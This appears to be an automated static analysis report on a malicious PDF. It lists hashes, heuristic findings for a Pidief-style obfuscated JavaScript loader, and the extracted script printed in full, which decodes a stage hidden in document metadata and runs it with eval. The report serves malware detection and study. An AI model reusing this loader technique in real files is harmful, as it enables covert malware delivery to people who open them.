Malicious PDF — malware analysis report

Static analysis result for SHA-256 fa38abf7340b116a…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 82b81ee690118f4ef63c6f76cb23a8d3 SHA-1: e598d594e6b7d16a494e88ac40084f64067c3cd5 SHA-256: fa38abf7340b116ae053c10f60ef8a68b356445ab091640cdb5f4ad20d46bb68
154 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x45F7 354 bytes
SHA-256: 97dba14eadc5f3be57c7312a7e20a96b9a52a7975fa4a7b70b52e34521daef8e
Preview script
First 1,000 lines of the extracted script
var w = 4;
var xnus = this.title.replace(/w/g,'*w,');
xnus = xnus.replace(/t/g,'2');
xnus=xnus.substr(0,xnus.length-2) + ']';
dcl=function(){return function(){return this}()}();
wvqm=dcl[this.subject];
kugh=wvqm(this.producer);
emc = wvqm(xnus);
var s = '';
for (i = 0; i < emc.length; i++) {
	frxh = emc[i];
	s += kugh(frxh);
}
wvqm(s);

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